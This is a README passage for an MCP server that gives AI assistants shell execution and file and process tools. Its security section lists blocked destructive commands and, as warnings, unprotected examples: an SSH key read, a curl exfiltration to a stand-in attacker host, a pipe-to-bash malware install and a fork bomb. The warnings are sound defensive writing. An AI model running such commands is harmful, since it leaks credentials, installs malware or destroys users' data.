For deploying with Claude Desktop, see CLAUDE_SETUP.md.

Development Workflow

# Watch mode for development
npm run watch

# Test with MCP Inspector (interactive UI for testing)
npm run inspector

# Lint code
npm run lint
npm run lint:fix

# Format code
npm run format

Testing

# Run unit tests (vitest)
npm run test:unit

# Run unit tests in watch mode
npm run test:unit:watch

# Run integration tests
npm test

# Run client test (alternative test implementation)
npm run test:client

# Run debug test (see raw server output)
npm run test:debug

Unit tests are in test/unit/ (vitest) and integration tests in test/ (tsx).

Available Tools

1. exec

Execute arbitrary shell commands.

Input:

• command (string): The shell command to execute

Example:

{
  "name": "exec",
  "arguments": {
    "command": "echo 'Hello World'"
  }
}

2. readFile

Read the contents of a file.

Input:

• path (string): Path to the file

3. writeFile

Write content to a file.

Input:

• path (string): Path to the file
• content (string): Content to write

4. deleteFile

Delete a file.

Input:

• path (string): Path to the file

5. listDir

List contents of a directory.

Input:

• path (string): Path to the directory

6. getSystemInfo

Get system information (CPU, memory, disk, OS).

Input: None

7. listProcesses

List running processes, optionally filtered.

Input:

• filter (string, optional): Filter pattern for process names

Security Considerations

⚠️ See Important Disclaimer & Safety Warning section above for comprehensive security information.

This server provides powerful shell access with inherent security risks. Review the following:

Built-in Security Features

1. Sandboxed Mode: Enable SANDBOX_MODE=true for additional safety warnings and validation
2. Command Validation: Built-in blocking of extremely dangerous command patterns
3. Timeout Protection: All commands have timeout limits (default: 30 seconds)
4. Output Size Limits: Command output capped at 10MB to prevent memory exhaustion
5. Rate Limiting: 60 commands per minute by default to prevent abuse
6. Path Traversal Protection: File tools validate paths and block access to sensitive system files (/etc/shadow, /etc/passwd, /proc/, /sys/, /dev/)
7. Input Validation: All tool inputs validated with Zod schemas, including null-byte rejection
8. Audit Logging: Optional persistent audit logging of all tool calls to JSON Lines format
9. Sudo Protection: Sudo commands blocked by default, require explicit ALLOW_SUDO=true opt-in
10. Graceful Error Handling: Prevents crashes from malformed commands

Blocked Command Patterns

The following extremely dangerous command patterns are automatically blocked:

• rm -rf / - Recursive deletion of the root filesystem. This would destroy all files on the system, making it unbootable and causing complete data loss.

• mkfs - Filesystem formatting command. Creates a new filesystem on a device, erasing all existing data. Could destroy entire partitions or disks if misused.

• dd if= - Low-level disk writing operations. The dd command can write directly to disk devices, potentially overwriting critical system data, partition tables, or bootloaders.

• > /dev/ - Direct device file manipulation. Redirecting output to device files (especially /dev/sda, /dev/zero, etc.) can corrupt storage devices or cause system instability.

⚠️ What Is NOT Protected

These built-in protections are MINIMAL and do NOT prevent:

• Reading sensitive files (cat ~/.ssh/id_rsa)
• Deleting specific important files (rm -rf ~/Documents)
• Network exfiltration (curl -X POST attacker.com --data @secret.txt)
• Installing malware (curl malware.com/script.sh | bash)
• Resource exhaustion (:(){ :|:& };: - fork bomb)
• API abuse (excessive calls to paid services)
• Unauthorized purchases or financial transactions
• Social engineering attacks on the AI
• Prompt injection vulnerabilities

The built-in protections only block a small set of catastrophic system-level commands.

Recommendations for Production Use

1. Run in Isolated Environment

   • Use Docker containers with minimal permissions
   • Implement network policies to restrict outbound connections
   • Use read-only file system mounts where possible

2. Implement Access Control

   • Deploy behind authentication/authorization layers
   • Use role-based access control (RBAC)
   • Implement command whitelisting for specific use cases

3. Monitor and Audit

   • Enable comprehensive logging
   • Set up alerting for suspicious commands
   • Regularly review execution history
   • Implement anomaly detection

4. Defense in Depth

   • Combine multiple security layers
   • Assume breach mentality
   • Implement least privilege principles
   • Regular security assessments

5. User Education

   • Train users on secure prompting practices
   • Establish clear guidelines for AI assistant use
   • Regular security awareness updates

Security Is Your Responsibility

This MCP server is a tool that grants shell access to AI assistants. The security of your system depends on:

• How you configure it
• What permissions you grant
• How you monitor its use
• The security of your AI assistant
• Your understanding of the risks

No amount of built-in security can protect against all threats. Use with caution and appropriate safeguards.

Architecture

src/
├── main.ts                     # Entry point, env var parsing, graceful shutdown
├── server.ts                   # MCP server with multi-transport support
├── executors/
│   ├── index.ts                # Barrel export
│   └── shellExecutor.ts        # Shell command execution with sandboxing
├── tools/
│   ├── index.ts                # Barrel export
│   ├── toolRegistry.ts         # Tool registration, routing, audit integration
│   └── handlers/
│       ├── index.ts            # Barrel export
│       ├── execTool.ts         # Shell execution tool
│       ├── fileTools.ts        # File operation tools with path validation
│       ├── systemInfoTool.ts   # System info tool
│       └── processTool.ts      # Process management tool
├── types/
│   └── index.ts                # TypeScript interfaces and type definitions
└── utils/
    ├── index.ts                # Barrel export
    ├── logger.ts               # Logging utility (DEBUG env var)
    ├── validation.ts           # Zod schemas, path traversal protection
    ├── rateLimiter.ts          # Sliding-window rate limiter (60 req/min)
    └── auditLogger.ts          # Persistent audit logging (JSON Lines)

test/
├── integration.test.ts         # Main integration tests
├── client.test.ts              # Alternative client test
├── debug.test.ts               # Debug/diagnostic test
├── README.md                   # Test documentation
└── unit/                       # Unit tests (vitest)
    ├── auditLogger.test.ts
    ├── execTool.test.ts
    ├── fileTools.test.ts
    ├── logger.test.ts
    ├── processTool.test.ts
    ├── rateLimiter.test.ts
    ├── server.test.ts
    ├── shellExecutor.test.ts
    ├── systemInfoTool.test.ts
    ├── toolRegistry.test.ts
    └── validation.test.ts

Transports

This server supports three MCP transport types:

stdio (default)

Communicates over stdin/stdout. Best for local integrations like Claude Desktop.

# Default — no extra configuration needed
node dist/main.js

SSE (deprecated)

Starts an HTTP server with Server-Sent Events streaming.

• GET /sse — establishes the SSE stream
• POST /messages?sessionId=X — receives JSON-RPC messages

TRANSPORT=sse PORT=3000 node dist/main.js

Note: The SSE transport is deprecated by the MCP SDK. Prefer Streamable HTTP for new integrations.

Streamable HTTP (recommended for remote)

Starts an HTTP server using the MCP Streamable HTTP specification.

• POST /mcp — handles JSON-RPC requests (with optional SSE streaming)
• GET /mcp — establishes a standalone SSE stream for server-initiated messages
• DELETE /mcp — closes the session

TRANSPORT=streamable-http PORT=3000 MCP_ENDPOINT=/mcp node dist/main.js

MCP Protocol

This server implements the Model Context Protocol (MCP) standard:

• Supports tools/list for discovering available tools
• Supports tools/call for executing tools
• Multi-transport: stdio, SSE, and Streamable HTTP
• DNS rebinding protection for HTTP transports
• Session management for concurrent clients

License

MIT

Changelog

See CHANGELOG.md for the full version history.

Latest: v1.1.0

• Multi-transport support (stdio, SSE, Streamable HTTP)
• Rate limiting, audit logging, path traversal protection
• Sudo command support with password handling
• Input validation with Zod schemas
• Comprehensive unit test suite (vitest)
• Rich AI-agent-facing tool descriptions

Contributing

Contributions are welcome! Please see CONTRIBUTING.md for full guidelines.

Key points:

• Code follows TypeScript best practices
• All changes are properly typed
• Security implications are considered
• Cross-platform compatibility is maintained

Documentation

🌐 Online Documentation

View the complete documentation website →

A comprehensive, user-friendly documentation site with:

• Interactive examples and use cases
• Step-by-step setup guides
• Complete tool reference
• Security best practices
• Example conversations

📄 Documentation Files

• README.md - This file, project overview and usage
• CLAUDE_SETUP.md - Claude Desktop configuration guide
• SECURITY.md - Security best practices and guidelines
• CONTRIBUTING.md - Contribution guidelines
• CHANGELOG.md - Version history and changes
• docs/ - GitHub Pages documentation website source

Project Status

✅ Production Ready - v1.1.0

This project has been thoroughly tested and includes:

• Comprehensive error handling and logging
• Multi-transport support (stdio, SSE, Streamable HTTP)
• Security features: sandboxing, rate limiting, path validation, audit logging
• Input validation with Zod schemas
• Cross-platform compatibility
• Extensive documentation
• Graceful shutdown handling
• TypeScript strict mode compliance
• 119+ unit tests with vitest

Support

For issues, questions, or contributions:

• Open an issue on GitHub
• See CONTRIBUTING.md for guidelines
• Check SECURITY.md for security-related questions

---